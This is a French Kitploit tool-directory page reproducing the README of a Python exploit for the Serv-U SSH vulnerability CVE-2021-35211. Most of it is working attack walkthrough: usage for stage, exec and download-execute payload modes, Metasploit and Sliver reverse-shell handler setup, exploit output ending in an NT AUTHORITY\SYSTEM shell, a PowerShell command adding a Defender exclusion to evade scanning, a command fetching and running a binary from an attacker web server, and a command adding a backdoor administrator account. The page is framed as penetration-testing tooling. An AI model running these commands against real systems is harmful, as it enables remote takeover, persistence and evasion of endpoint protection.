Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-35211 — Exploit Python pour la vulnérabilité SSH de Serv-U (CVE-2021-35211) avec plusieurs modes de payload : stage, exec et download-execute, permettant l'exécution de shellcode et l'injection de commandes. | Kitploit
Outils/GitHubGitHub/bishopfox/cve-2021-35211
Frameworks d'ExploitationGénération de PayloadsAnalyse des VulnérabilitésExploitationTests d'IntrusionRed TeamingGénération de ShellcodeDéveloppement de Charges UtilesExploitation de Binaires
GitHubbishopfox/cve-2021-35211

CVE-2021-35211

Exploit Python pour la vulnérabilité SSH de Serv-U (CVE-2021-35211) avec plusieurs modes de payload : stage, exec et download-execute, permettant l'exécution de shellcode et l'injection de commandes.

399il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Exploit Serv-U CVE-2021-35211

Risque de déni de service (DoS) - vérifiez vos règles d'engagement

L'exploit ne fonctionne pas à chaque fois, mais il fonctionne assez souvent pour exécuter du shellcode dans environ 1 exécution sur 5 ou 6. Cependant, un exploit qui échoue peut parfois faire planter le serveur Serv-U. Assurez-vous que vos règles d'engagement autorisent le risque de perte ou de dégradation du service. Les symptômes observés lors des tests incluent :

  • un crash avec redémarrage automatique (le plus courant)
  • la déconnexion des utilisateurs connectés lors des tentatives réussies et infructueuses
  • un crash sans redémarrage automatique

Caveat emptor.

Démarrage rapide

Les versions sont importantes. Cet exploit utilise des adresses ROP codées en dur qui ne sont valides que pour la version 15.2.3.717 de Serv-U. Nous pourrons peut-être ajouter d'autres versions ; demandez-nous si vous avez besoin qu'il fonctionne avec d'autres versions de Serv-U ou de Windows.

Vérifiez la version sur votre cible

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Exécution de l'exploit

Il accepte les arguments suivants :

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Il existe trois modes (ou charges utiles) que vous pouvez utiliser lors d'une attaque réussie :

  1. stage
  2. exec
  3. downloadexec

Mode stage

En cas d'exploitation réussie, exécute un stager de shellcode compatible Metasploit/Sliver. C'est le moins fiable de toutes les charges utiles ; envisagez plutôt `downloadexec1. Exécutez-le comme ceci :

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHost et stagePort pointeront vers un handler en écoute sur votre machine Sliver/Metasploit. Vous pouvez choisir la charge utile que vous voulez, mais j'ai constaté que la seule qui fonctionne de manière fiable est windows/x64/shell/reverse_tcp. C'est dommage, car ce n'est pas un shell chiffré et vous devrez vérifier vos règles d'engagement avant d'obtenir un shell de ce type.

Encore une fois, caveat emptor.

Configurez-le dans Metasploit sur votre machine Kali comme suit :

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Puis exécutez l'exploit :

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

De retour sur la machine Kali, vous devriez voir la requête de stage et le shell de commande démarrer :

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

La prise en charge de Sliver dans la charge utile du stager est hautement expérimentale et fonctionne rarement. Si elle fonctionne, vous verrez normalement les sessions démarrer puis mourir immédiatement. Mais si vous obtenez une session qui ne se termine pas immédiatement, vous pouvez prendre des mesures pour conserver votre accès Sliver en migrant vers un autre processus.

Sur votre serveur Sliver, exécutez la commande stage-listener pour configurer votre listener. Consultez la documentation Sliver pour plus de détails sur le staging :

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Exécutez l'exploit en mode stage :

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Si l'exploit fonctionne (et il fonctionne très rarement avec les charges utiles Sliver ou Meterpreter), vous verrez quelque chose comme ceci (et oui, Sliver a trouvé ce nom de charge utile tout seul !) :

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

La première chose à faire est de migrer vers un autre processus, car il y a de fortes chances que votre session Sliver meure et ne revienne pas, et je ne connais pas la cause racine au moment où j'écris ces lignes.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

À ce stade, vous devriez avoir une session Sliver stable, insensible aux aléas de Serv-U et de cet exploit.

Mode téléchargement et exécution

Le mode le plus fiable et le moins susceptible de se faire repérer par la sécurité des points de terminaison de Microsoft Defender. Cela est dû au fait qu'il utilise une commande PowerShell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") pour ajouter une exclusion de répertoire dans Microsoft Defender, afin que les binaires Sliver/Meterpreter/autres ne soient pas analysés à la recherche de malwares. Cela vous protégera contre Windows Defender, mais c'est tout ; vous devrez prendre en compte les autres technologies de sécurité des points de terminaison, l'IDS réseau, etc.

En cas de succès, télécharge un binaire depuis une URL et l'exécute. Vous aurez besoin d'un serveur web hébergeant votre fichier exécutable. J'ai utilisé Python, mais veuillez noter que je teste sur un réseau local sans SSL. Dans le cadre d'exploits réels, vous devrez vérifier vos règles d'engagement si vous souhaitez utiliser des URL non chiffrées.

Ce n'est pas la première fois : caveat emptor.

Lancez un simple listener HTTP comme ceci :

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Avec le listener en cours d'exécution, vous pouvez lancer l'exploit :

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Vous devriez voir quelque chose comme ceci dans votre listener :

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

La cible exécutera calc.exe et redémarrera le service Serv-U pour permettre aux utilisateurs de se reconnecter. Notez que l'exécutable n'affichera pas de fenêtre, mais si vous exécutez cet exemple, vous devriez voir wincalc.exe dans le Gestionnaire des tâches.

Mode exécution de commande

En cas de succès, exécute une commande sur la cible. Exécutez-le comme ceci :

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Crédits

  • Les chercheurs de Microsoft qui ont découvert la vulnérabilité par fuzzing : https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson a réalisé le PoC sur lequel mon code est basé : https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Dernières réflexions

Cet exploit a malheureusement tendance à faire planter le processus distant. En général, il redémarre, et j'essaie de voir si je peux le rendre plus stable, mais d'ici là, n'oubliez pas : vérifiez vos règles d'engagement et caveat emptor.

Le fait que l'ASLR ait été désactivée sur la DLL de Serv-U a été une chance inouïe et nous a épargné bien des tracas.

D'autres mesures d'atténuation, telles que Control Flow Guard ("CFG"), étaient également désactivées. Là encore, cela a facilité l'écriture d'un exploit sans avoir à contourner l'accès restreint à des fonctions critiques, comme GetProcAddress().

Il convient de souligner que la méthode que j'utilise pour calculer l'adresse de la pile ROP peut, à l'occasion, générer une adresse qui n'est pas alignée sur 64 bits. Par conséquent, lorsque GetProcAddress() atteint une instruction MOVAPS (qui exige que les adresses mémoire soient alignées), l'exploit plante. Pour rendre l'exploit plus fiable, une solution pourrait être de forcer la pile ROP à se trouver à une adresse alignée ; cela demanderait quelques ajustements de la charge utile ROP et est laissé en exercice au lecteur.

Télécharger l’outil